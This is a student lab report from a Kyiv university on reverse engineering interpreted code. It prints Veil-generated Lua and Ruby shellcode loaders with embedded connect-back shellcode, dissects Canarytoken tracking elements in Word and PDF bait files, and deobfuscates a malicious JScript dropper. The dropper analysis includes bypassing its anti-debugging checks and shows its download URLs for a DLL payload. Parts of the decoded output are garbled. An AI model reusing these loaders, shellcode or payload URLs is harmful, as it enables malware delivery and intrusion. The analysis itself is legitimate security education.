



МІНІСТЕРСТВО ОСВІТИ, НАУКИ, МОЛОДІ ТА СПОРТУ УКРАЇНИ
НАЦІОНАЛЬНИЙ ТЕХНІЧНИЙ УНІВЕРСИТЕТ УКРАЇНИ
«КИЇВСЬКИЙ ПОЛІТЕХНІЧНИЙ ІНСТИТУТ»
ФІЗИКО-ТЕХНІЧНИЙ ІНСТИТУТ

Лабораторна робота 7
Аналіз інтерпретованого та проміжного коду
Варіант №5

Підготував:
студент 4 курсу
групи ФІ-84
Коломієць Андрій Юрійович
Email:*andkol-ipt22@lil.kpi.ua*

Викладач:

Аналіз інтерпретованого та проміжного коду

Мета роботи

Отримати навички зворотньої розробки, деобфускації та аналізу інтерпретованого та проміжного коду.

Постановка задачі

- Дослідіть зразки:

Veil

* *lua/shellcode_inject/flat.py*

* *ruby/shellcode_inject/base64.py*

- Однією з можливостей засобів доставки на основі офісних документів є збір статистики про цільову систему. Відкриття спеціальним чином сформованого документа з посиланнями на зовнішні ресурси може привести до запиту на контрольований зловмисником сервер. У випадку **HTTP** запит може містити інформацію про версію програмного забезпечення у цільовій системі (User-Agent), а також свідчить про активність користувача – документ був відкритий. Приклад реалізації – **Microsoft Word Intruder** з модулем **MWISTAT** . Крім ШПЗ подібні технології застосовуються для відслідковування витоків інформації та в якості раннього сповіщення про атаки. Спеціально сформований документ, розміщений в корпоративній мережі, у разі необережного поводження зловмисника може повідомити службу безпеки про атаку. Приклад реалізації – **CanaryTokens** . Завдання – за допомогою створіть приманки **Microsoft Word Document** та **Acrobat Reader PDF Document**. Знайдіть елементи, що використовуються для витоку інформації. Що саме відправляється на віддалений сервер?
- Проаналізуйте код файлу **.jse** у зразку. Розшифруйте **base64**-кодовані рядки у масиві **a**.

Виконання завдання

Дослідимо зразки:

Veil

Короткий інструктаж, по користуванні програмою:

<https://www.youtube.com/watch?v=iz1twCSJZyo>

Зразки

* *lua/shellcode_inject/flat.py*

Генеруємо зразок для початку. Та спробуємо відкрити його:

Згенерований файл програмою Veil

```
shellcode="\x25\x23\x13\x00\x00\x00\x09\x13\x29\x49\x21\x10\x139\x082\x048\x139\x082\x012\x139\x082\x020\x139\x114\x040\x015\x1
83\x074\x038\x049\x255\x049\x192\x172\x060\x097\x124\x002\x044\x032\x193\x207\x013\x001\x199\x226\x240\x082\x087\x139\x082\x016\x139\x066\x0
60\x001\x208\x139\x064\x120\x133\x192\x116\x074\x001\x208\x080\x139\x072\x024\x139\x088\x032\x001\x211\x227\x060\x073\x139\x052\x139\x001\x2
14\x049\x255\x049\x192\x172\x193\x207\x013\x001\x199\x056\x224\x117\x244\x003\x125\x248\x059\x125\x036\x117\x226\x088\x139\x088\x036\x001\x2
11\x102\x139\x012\x075\x139\x088\x028\x001\x211\x139\x004\x139\x001\x208\x137\x068\x036\x036\x091\x091\x097\x089\x090\x081\x255\x224\x088\x0
95\x090\x139\x018\x235\x134\x093\x104\x051\x050\x000\x000\x104\x119\x115\x050\x095\x084\x104\x076\x119\x038\x007\x255\x213\x184\x144\x001\x0
00\x000\x041\x196\x084\x080\x104\x041\x128\x107\x000\x255\x213\x080\x080\x080\x080\x064\x080\x064\x080\x104\x234\x015\x223\x224\x255\x213\x1
51\x235\x047\x104\x169\x040\x052\x128\x255\x213\x139\x064\x028\x106\x009\x080\x104\x002\x000\x173\x156\x137\x230\x106\x016\x086\x087\x104\x1
53\x165\x116\x097\x255\x213\x133\x192\x116\x081\x255\x078\x008\x117\x236\x104\x240\x181\x162\x086\x255\x213\x232\x204\x255\x255\x255\x049\x0
57\x050\x046\x049\x054\x056\x046\x050\x051\x052\x046\x049\x050\x057\x000\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x0
88\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x088\x0
88\x088\x088\x088\x088\x088\x000\x106\x000\x106\x004\x086\x087\x104\x002\x217\x200\x095\x255\x213\x139\x054\x106\x064\x104\x000\x016\x000\x0
00\x086\x106\x000\x104\x088\x164\x083\x229\x255\x213\x147\x083\x106\x000\x086\x083\x087\x104\x002\x217\x200\x095\x255\x213\x001\x195\x041\x1
98\x133\x246\x117\x236\x195"
```

```
core = require "alien.core"
kernel32 = core.load("Kernel32")
len = string.len(shellcode)

va = kernel32.VirtualAlloc
va:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int' }
ptr = va(0, len, 0x3000, 0x40)

vl = kernel32.VirtualLock
vl:types{ ret = 'int', abi = 'stdcall', 'int', 'int' }
vl(ptr, len)

rmm = kernel32.RtlMoveMemory
rmm:types{ ret = 'int', abi = 'stdcall', 'int', 'string', 'int' }
rmm(ptr, shellcode, len)

ct = kernel32.CreateThread
ct:types{ ret = 'int', abi = 'stdcall', 'int', 'int', 'int', 'int', 'int', 'int', 'ref int' }
ht = ct(0, 0, ptr, 0, 0, 0)

wfso = kernel32.WaitForSingleObject
wfso:types{ ret = 'int', abi = 'stdcall', 'int', 'int' }
wfso(ht, -1)
```

Переглянемо код **lua/shellcode_inject/flat.py** і бачимо, що **shellcode** попередньо оброблено:

```
# get the raw shellcode
raw = shellcode.encode('latin-1')
raw = raw.decode('unicode_escape')

# get the shellcode into the stupid-ass lua because
# stupid-ass lua doesn't do string hex escapes
shellcode = ''.join(["\\" + str(ord(c)).zfill(3) for c in raw])
```

В останньому рядку у нас додаються **backslashes**, та відбувається перетворення рядку символів **shellcode** в числове представлення та також кожний символ після перетворення має падінг нулями до довжини три.

Можна тепер на основі зазначеної інформації перевести в символічне представлення **shellcode** оброблений.

Посилання, котре допомогло видалити з файлу **backslashes**.

<https://unix.stackexchange.com/questions/169207/remove-backslashes-from-a-text-file>

You can either replace the backslash by a space as you show in the example result:

```
sed 's/\\/ /g'
```

or you can remove it as you show in your code:

```
sed 's/\\//g'
```

Пишемо програму, що групує символи по три числа, де серед цих трійок видаляє нулі, та декодує в **ASCII**.

Програма, що декодує:

```
import string

shellcode="252232137000000000009613722904921010013908204813908201213908"

decode=""

string_without_zero=""

for i in range(0, len(shellcode)-3,3):

    any_string=str(shellcode[i]+shellcode[i+1]+shellcode[i+2])

    if(len(any_string)==0):
        continue
    else:
        string_without_zero+=any_string
        decode+=chr(int(any_string))

print("Decode using splitting string number by group three: \n",decode)
```

Маємо результат:

[illegible]

Серед виводу маємо **IP** системи котра прослуховуватиме.

* *ruby/shellcode_inject/base64.py*

Переглянемо код *ruby/shellcode_inject/base64.py* і бачимо, що **shellcode** попередньо оброблено:

```
# Base64 Encode Shellcode
Shellcode = "0" + ",0".join(Shellcode.split("\\\\")[1:])
Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')
```

Генеруємо файл, та відкриваємо для аналізу, перше, що бачимо є строка з характерними символами **base64**:

Згенерований файл програмою Veil

```
require 'rubygems'
require 'win32/api'
include Win32
require 'base64'
exit if Object.const_defined?(:Ocr)
sHPRldTWjXdD = API.new('VirtualAlloc', 'IIII', 'I');Eyaflcj = API.new('RtlMoveMemory', 'IPI', 'V');WENodwLXeW =
API.new('CreateThread', 'IIIIIP', 'I');VPzMBwtsFP = API.new('WaitForSingleObject', 'II', 'I');CvdfTPCwbGxN =
API.new('VirtualProtect', 'PIIP', 'I')
ixSVrMYgql =
["XHhmY1x4ZThceDg5XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDZJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBj
XHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx
4MmNceDlwXHhjMVx4Y2ZceDBkXHgwMVx4YzdcGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHgwMVx4
ZDBceDhiXHg0MFx4NzhceDg1XHhjMFx4NzRceDRhXHgwMVx4ZDBceDUwXHg4Ylx4NDhceDE4XHg4Ylx4NTJceDlwXHgwMVx4Z
DNceGUzXHgzY1x4NDlceDhiXHgzNfx4OGJceDAXHhNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4Yzdc
eDM4XHhIMfx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NTJceDI0XHgwMVx4ZDNceD
Y2XHg4Ylx4MGNceDRIXHg4Ylx4NTJceDfjXHgwMVx4ZDNceDhiXHgwNfx4OGJceDAXHhNlx4ODlceDQ0XHgyNfx4MjRceDViX
Hg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhIMfx4NTJceDVMXHg1YVx4OGJceDEyXHhIYlx4ODZceDVkXHgzOFx4MzNceDMYXHg
wMFx4MDBceDY4XHg3N1x4NzNceDMYXHg1Zlx4NTJceDY4XHg0Y1x4NzdcceDI2XHgwN1x4ZmZceGQ1XHhIOFx4OTBceDAXHgw
wMFx4MDBceDI5XHhjNfx4NTRceDUwXHg2OFx4MjJceDgwXHg2Ylx4MDBceGZmXHhNlx4NTBceDUwXHg1MFx4NTBceDQwX
Hg1MFx4NDBceDUwXHg2OFx4ZWFceDBmXHhkZlx4ZTBceGZmXHhNlx4OTdceGViXHgyZlx4NjhceGE5XHgyOFx4MzRceDgwX
HhmZlx4ZDVceDhiXHg0MFx4MWNceDZhXHgwOVx4NTBceDY4XHgwMlx4MDBceDExXHg1Y1x4ODlceGU2XHg2YVx4MTBceDU
2XHg1N1x4NjhceDk5XHhNlx4NzRceDYxXHhmZlx4ZDVceDg1XHhjMFx4NzRceDUxXHhmZlx4NGVceDA4XHg3NVx4ZWNceDY
4XHhmMFx4YjVceGEyXHg1Nlx4ZmZceGQ1XHhIOFx4Y2NceGZmXHhmZlx4ZmZceDMxXHgzOVx4MzJceDjIXHgzMVx4MzZceDM
4XHgyZVx4MzJceDMzXHgzNfx4MmVceDMxXHgzMlx4MzZceDAwXHg1OFx4NTJceDU4XHg1OFx4NTJceDU4XHg1OFx4NTJceD
U4XHg1OFx4NTJceDU4XHg1OFx4NTJceDU4XHg1OFx4NTJceDU4XHg1OFx4NTJceDU4XHg1OFx4NTJceDU4XHg1OFx4NTJce
eDU4XHg1OFx4NTJceDAwXHg2YVx4MDBceDZhXHgwNfx4NTZceDU3XHg2OFx4MDJceGQ5XHhjOFx4NwZceGZmXHhNlx4O
GJceDM2XHg2YVx4NDBceDY4XHgwMFx4MTBceDAwXHgwMFx4NTZceDZhXHgwMFx4NjhceDU4XHhNfx4NTNceGU1XHhmZlx
4ZDVceDkzXHg1M1x4NmFceDAwXHg1Nlx4NTNceDU3XHg2OFx4MDJceGQ5XHhjOFx4NwZceGZmXHhNlx4MDfceGMzXHgy
OVx4YzZceDg1XHhmNlx4NzVceGVjXHhjMw==".unpack("m")[0].delete("\\\\x").pack("H*")
sedpQszAEuK = sHPRldTWjXdD.call(0,(ixSVrMYgql.length > 0x1000 ? ixSVrMYgql.length : 0x1000), 0x1000, 0x04)
x = Eyaflcj.call(sedpQszAEuK,ixSVrMYgql,ixSVrMYgql.length);JBReQtIxxVy =
CvdfTPCwbGxN.call(sedpQszAEuK,(ixSVrMYgql.length > 0x1000 ? ixSVrMYgql.length : 0x1000), 0x20, 0);BIMZDuVOGE =
WENodwLXeW.call(0,0,sedpQszAEuK,0,0,0);x = VPzMBwtsFP.call(BIMZDuVOGE,0xFFFFFFF)
```


Спробуємо декодувати його використовуючи **base64**:

Decode from Base64 format

Simply enter your data then push the decode button.

XhHmY1x4Z2TceDg5XHgwMFx4MDbceDawXhGz2MFx4ODlceGU1XHgzWVx4Z2JceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDExHgw4Ylx4NTJceDlXhGwMv4YJdceDRhXHgw1Hx4Mz2FceGz2mXHgVMv4Y2BceGFJXHgzY1x4NjceDgJXHgwMx4MnnNceDw1XhMjVx4Y2ZceDExHgwMv4Y2ZceGujYXHmFMF4NTJceDU3XHg4Ylx4NTJceDewXHgw4Ylx4NDceDhJXHgwMv4ZcDBDceDhiXHGMOfx4NzhdceDg1XhMjVx4Y2ZceDRhXHgwMv4ZcDBceDUwXHg4Ylx4NDhceDE4XHg4Ylx4NTJceDlwXHgwMv4ZcDNceGUzXHgzY1x4NDlceDhiXHgzNfx4OGJceDAXXhHkNk4Mz2FceGz2mXHgVMv4Y2BceGFJXHgmjVx4Y2ZceDExHgwMv4Y2ZceDhXhGwMv4NzVceGY0XHgwMv4x4N2NceGY4XHgzY1x4N2NceDl0XHk3Nv4Z2JceDU4XHg4Ylx4NTJceDl0XHGWmV4X2YHgzD2XHg4Ylx4MGNceDRiXHg4Ylx4NTJceDfJXHgwMv4ZcDNceDhiXHgwMf4XOGJceDAXXhHkMFx4ODlceDQOXhgmjVx4MjRceDVixHg1Ylx4NjFceDU5XHg1Yv4NTFceGz2mXHhMFx4NTJceDvmXHg1Yv4OGJceDeyXHh1Ylx4ODceDvXkXHg2OFx4MzNceDMYXHgwMFx4MDbceDY4XHg3N1x4NzNceDhXhGz1Zlx4NTJceDy4XHg0Y1x4NzVceDI2XHgwMv4x4Zm2ceGQ1XHfOFx4OTBceDAXXHgwMFx4MDbceDlXhHgmjVx4NTJceDwXhGz2OFx4MjceDgJXHgzYlx4MdbceGz2mXHhNv4NTBceDUwXHgmf4XOGJceDQwXHgmf4Mf4NDBceDUwXHg2OFx4ZWFceDmXhHkZlx4ZTceGz2mXHhNv4X4OTceGVixHgz2lx4NjhdceGE5XHgyOFx4Mz2ceDgJXhHmZlx4ZDceDhiXHGMOfx4MWNceDZhXHgwOVx4NTBceDY4XHgmMx4MDbceDexHkY1Yx4ODlceGU2XHgzY1x4MTBceDU2XHk1N1x4NjhdceDK5XHhNv4X4NzceDyXhHmZlx4ZDVceDg1XHgwMf4NzceDuxXhHmZlx4NGVceDAXXHg3Nv4ZWNceDyXhHmMFx4YJceGeYXHgz1Nk4ZmZceG

i For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

AUTO-DETECT Source character set.

☐ Decode each line separately (useful for when you have multiple entries).

☐ Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

< DECODE > Decodes your data into the area below.

[illegible]

Маємо результат декодування:

Hex to ASCII Text Converter

Enter hex bytes with any prefix / postfix / delimiter and press the Convert button

(e.g. 45 78 61 6d 70 6C 65 21):

Open File

🔍

Paste hex numbers or drop file

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xf3\x1\x0c\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\x0d\x8b\x40\x78\x85\x0c\x07\x4\xa\x01\xd0\x50\x8b\x48\x018\x8b\x50\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x

Character encoding

Unicode

↻ Convert

✖ Reset

↕ Swap

ø; }\$uaXsXSôf0KIXaa00loBDDSS[[aYZQyâX_ZleC]h32n0hws2_ThLw&o_ÿð, oooo)ÂTPh)(Ka_ÿPPPPP@P@Phêoßâyôæ/h0(4ÿð_o_jPhooooeaj0VWln0tâyô0AtôYNauihôµcVyô0iÿÿy192.168.234.12%XXxj=jo_VWhooÜÊ_ÿðo6j|hhaooooVjohXoSâÿðoSjsVSWhooÜÊ_ÿðoÄ)æouia

Copy

Save

Завдання – за допомогою створить приманки Microsoft Word Document та Acrobat Reader PDF Document. Знайдіть елементи, що використовуються для витоку інформації. Що саме відправляється на віддалений сервер?

Canarytoken triggered

ALERT

An HTTP Canarytoken has been triggered by the Source IP 176.98.25.39.

Basic Details:

Channel	HTTP
Time	2021-12-19 23:47:05 (UTC)
Canarytoken	4upa3z0v13xh0p53tod24rgin
Token Reminder	Tokens MS Word
Token Type	ms_word
Source IP	176.98.25.39
User Agent	Mozilla/4.0 (compatible; ms-office; MSOffice 16)

Canarytoken Management Details:

Manage this Canarytoken [here](#)

More info on this token [here](#)

Powered by [Thinkst Canary](#)

Canarytoken triggered

ALERT

A DNS Canarytoken has been triggered by the Source IP 176.122.99.68. Please note that the source IP refers to a DNS server, rather than the host that triggered the token.

Basic Details:

Channel	DNS
Time	2021-12-19 23:56:23 (UTC)
Canarytoken	gc4vaw961objerp75keie9mur
Token Reminder	Tokens PDF
Token Type	adobe_pdf
Source IP	176.122.99.68

Canarytoken Management Details:

Manage this Canarytoken [here](#)

More info on this token [here](#)

Powered by [Thinkst Canary](#)

MS Word

```
word/footer2.xml:<w:tr xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing"
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word"
xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml"
xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml"
xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup"
xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk"
xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"
xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15
wp14"><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:p w:rsidR="009E0DC7"
w:rsidRDefault="009E0DC7"><w:pPr><w:pStyle w:val="Footer"/></w:pPr><w:r><w:fldChar
w:fldCharType="begin"/></w:r><w:r><w:instrText xml:space="preserve"> INCLUDEPICTURE
"http://canarytokens.com/static/4upa3z0v13xh0p53tod24rgin/post.jpg" \d \* MERGEFORMAT
</w:instrText></w:r><w:r><w:fldChar w:fldCharType="separate"/></w:r><w:r><w:pict><v:shapetype id="_x0000_t75"
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f"
stroked="f"><v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f
eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 2"/><v:f eqn="prod @3 21600 pixelWidth"/><v:f eqn="prod @3 21600
pixelHeight"/><v:f eqn="sum @0 0 1"/><v:f eqn="prod @6 1 2"/><v:f eqn="prod @7 21600 pixelWidth"/><v:f eqn="sum @8
21600 0"/><v:f eqn="prod @7 21600 pixelHeight"/><v:f eqn="sum @10 21600 0"/></v:formulas><v:path o:extrusionok="f"
gradientshapeok="t" o:connecttype="rect"/><o:lock v:ext="edit" aspectratio="t"/></v:shapetype><v:shape id="_x0000_i1025"
type="#_x0000_t75" style="width:.75pt;height:.75pt"><v:imagedata r:id="rld1"/></v:shape></w:pict></w:r><w:r><w:fldChar
w:fldCharType="end"/></w:r><w:p><w:p w:rsidR="009E0DC7" w:rsidRDefault="009E0DC7"><w:pPr><w:pStyle
w:val="Footer"/></w:pPr></w:p></w:tr>
word/_rels/footer2.xml.rels:<Relationships
xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rld1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="http://canarytokens.com/static/4upa3z0v13xh0p53tod24rgin/post.jpg" TargetMode="External"/></Relationships>
```


PDF

This program has not been tested with this version of Python (3.9.9)
Should you encounter problems, please [use Python version 3.9.5](#)

PDF Comment '%PDF-1.6\r'

PDF Comment '%\xe2\xe3\xcf\xd3\r\n'

obj 11 0

Type:

Referencing:

```
<<
  /Linearized 1
  /L 5095
  /O 13
  /E 996
  /N 1
  /T 4796
  /H [ 434 141]
>>
```

[(1, '\r'), (2, '<<'), (2, '/Linearized'), (1, ' '), (3, '1'), (2, '/L'), (1, ' '), (3, '5095'), (2, '/O'), (1, ' '), (3, '13'), (2, '/E'), (1, ' '), (3, '996'), (2, '/N'), (1, ' '), (3, '1'), (2, '/T'), (1, ' '), (3, '4796'), (2, '/H'), (1, ' '), (2, '['), (1, ' '), (3, '434'), (1, ' '), (3, '141'), (2, ' '], (2, '>>'), (1, '\r')]

obj 15 0

Type: /XRef

Referencing: 10 0 R, 12 0 R

Contains stream

```
<<
  /DecodeParms
    <<
      /Columns 3
      /Predictor 12
    >>
  /Filter /FlateDecode
  /ID [<69668D36727B40548EC3AEE4AD573813><87F23AE71409462D83B5FA597EDC16F7>]
  /Index [11 7]
  /Info 10 0 R
  /Length 39
  /Prev 4797
  /Root 12 0 R
  /Size 18
  /Type /XRef
  /W [1 2 0]
>>
```

b'\x02\x01\x00\x10\x02\x00\x02\x02\x00\x00L\x02\x00\x01\x8e\x02\x00\xfd[\x02\x01\x00\x9a\x02\xff\x01\xa4'

startxref 0

PDF Comment '%%EOF\r'

obj 17 0

Type:

Referencing:

Contains stream

/Type /ObjStm
>>

b'16 0 <</S/URI/URI(http://gc4vaw961objerp75keie9mur.canarytokens.net/WRDKQYAUQLOLJVVBVOYEFXSAOVYBUAKJWI)>>'

obj 1 0
Type: /ObjStm
Referencing:
Contains stream

<<
/Filter /FlateDecode
/First 14
/Length 126
/N 3
/Type /ObjStm
>>

b'6 0 7 49 8 92 <</Count 1/First 7 0 R/Last 7 0 R/Type/Outlines>><</A 8 0 R/Parent 6 0 R/Title(Blank Page)>><</D[13 0 R/XYZ 0 792 null]/S/GoTo>>'

obj 2 0
Type: /Metadata
Referencing:
Contains stream

<<
/Length 3169
/Subtype /XML
/Type /Metadata
>>

'No filters'

obj 3 0
Type: /ObjStm
Referencing:
Contains stream

<<
/Filter /FlateDecode
/First 4
/Length 49
/N 1
/Type /ObjStm
>>

b'9 0 <</Count 1/Kids[13 0 R]/Type/Pages>>'

obj 4 0
Type: /ObjStm
Referencing:
Contains stream

<<
/Filter /FlateDecode
/First 5
/Length 105
/N 1
/Type /ObjStm

>>

b"10 0 <</CreationDate(D:20150722163851+02'00')/Creator(Acrobat Pro 15.8.20082)/ModDate(D:20150722164131+02'00')/Producer(Acrobat Pro 15.8.20082)>>"

obj 5 0

Type: /XRef

Referencing: 10 0 R, 12 0 R

Contains stream

<<

/DecodeParms

<<

/Columns 4

/Predictor 12

>>

/Filter /FlateDecode

/ID [<69668D36727B40548EC3AEE4AD573813><87F23AE71409462D83B5FA597EDC16F7>]

/Info 10 0 R

/Length 48

/Root 12 0 R

/Size 11

/Type /XRef

/W [1 2 1]

>>

b'\x02\x00\x00\x00\x02\x01\x03\xe4\x00\x02\x00\x01\xdb\x00\x02\x00\r\xad\x00\x02\x00\x00\x8c\x00\x02\x00\x01\xcc5\x00\x02\x01\xeeD\x00\x02\x00\x00\x00\x01\x02\x00\x00\x00\x01\x02\x00\x00\x02\xfe\x02\x00\x00\x01\x00'

startxref 116

PDF Comment '%%EOF\r'

Проаналізуйте код файлу .jse у зразку. Розшифруйте base64-кодовані рядки у масиві a.

Виконуємо команди

```
$ 7 z x - pinfected COVID \ 19\ Relief . doc . zip
```

```
$ hashdeep -b *. doc
```

```
$ sudo pip3 install oletools
```

```
$ olevba -p 1234 COVID \ 19\ Relief . doc
```

Зазвичай дешифратор знаходиться вже в шкідливому забезпеченні, тому можна спробувати запустити в відлагоджувачі код на віртуальній машині та дослідити.

На вивід ми побачимо розшифрування документа, для того, щоб побачити чітко код використовуємо форматування коду, що приводить його до красивої читабельної структури. Пробуємо запустити та бачимо, що в деяких місцях, відлагоджувач перекидає в сусіднє вікно VSCode, напевне файл реагує на середовище запуску коду, і не дозволяє коду подальше виконання. Видозмінемо місця в котрих код далі не виконується. Так би мовити обйдемо систему його захисту проти тестування в відлагоджувачах.

Видозміни в коді

```
450     if (av["gtYKh"](av[b("0xb", "a!CR")], av[b("0xc", "dlE")])) {
451         if (ret) {
452             aH[b("0xd", "jLXr"])(debuggerProtection, 0x0);
453         } else {
454             aH[b("0xd", "jLXr"])(debuggerProtection, 0x0);
455         }
    }
```

```
765         }
766         break;
767     }
768     })(func);
769     } else {
770         if (!cl) {
771             return;
772             c6["AV0jr"](c5, ck, ![]);
773         } else {
774             if (c6[b("0x77", "@p!")](c6["qqPdM"], c6[b("0x78", "jGu@")])) {
775                 return;
776                 c6[b("0x79", "WBR"])(c5, null, ![]);
777             } else {
778                 if (!cl) {
779                     try {
780                         var Y = new dJ(dC);
781                         c6["AV0jr"](ei, Y, path);
782                     } catch (cu) {}
    }
```

```
1219     if (!eI[b("0xf5", "fGTT"])(eI["WLHBT"], "BsYoB")) {
1220         (function() {
1221             return ![];
1222         })
    }
```

```
767         }
768         break;
769     }
770     })(func);
771     } else {
772         if (!cl) {
773             return c6["AV0jr"](c5, ck, ![]);
774         } else {
775             if (c6[b("0x77", "@p!")](c6["qqPdM"], c6[b("0x78", "jGu@")])) {
776                 return c6[b("0x79", "WBR"])(c5, null, ![]);
777             } else {
778                 if (!cl) {
779                     try {
780                         var Y = new dJ(dC);
781                         c6["AV0jr"](ei, Y, path);
782                     } catch (cu) {}
    }
```

```
1224     if (eI[b("0xf5", "fGTT"])(eI["WLHBT"], "BsYoB")) {
1225         (function() {
1226             return ![];
1227         })
    }
```

Розшифровані значення зберігаються в змінні при відлагоджуванні

```
cA: 'Type'
cB: 'SaveToFile'
cC: 'Close'
cD: 'random'
cE: 'toString'
cF: '\\\\'
cG: 'substr'
> cH: f cH()
cx: 'Write'
cy: 'Position'
cz: 'Open'
d8: 'ADODB.Stream'
> d9: f d9(da, db)
dC: 'WScript.Shell'
dD: 'ResponseBody'
dE: 'GetSpecialFolder'
dF: 'ActiveXObject'
dG: '.dll'
dH: 'Scripting.FileSystemObject'
dI: 'CreateObject'
dJ: undefined
dK: 'http://209.141.54.161/crypt18.dll'
dL: 'https://bezorarang.com/filesdftr9000/hersi.png'
dM: 'WScript.Shell'
dN: 'Run'
dO: 'Popup'
dP: 'MSXML2.XMLHTTP'
dQ: 'GET'
dR: 'open'
dS: 'send'
```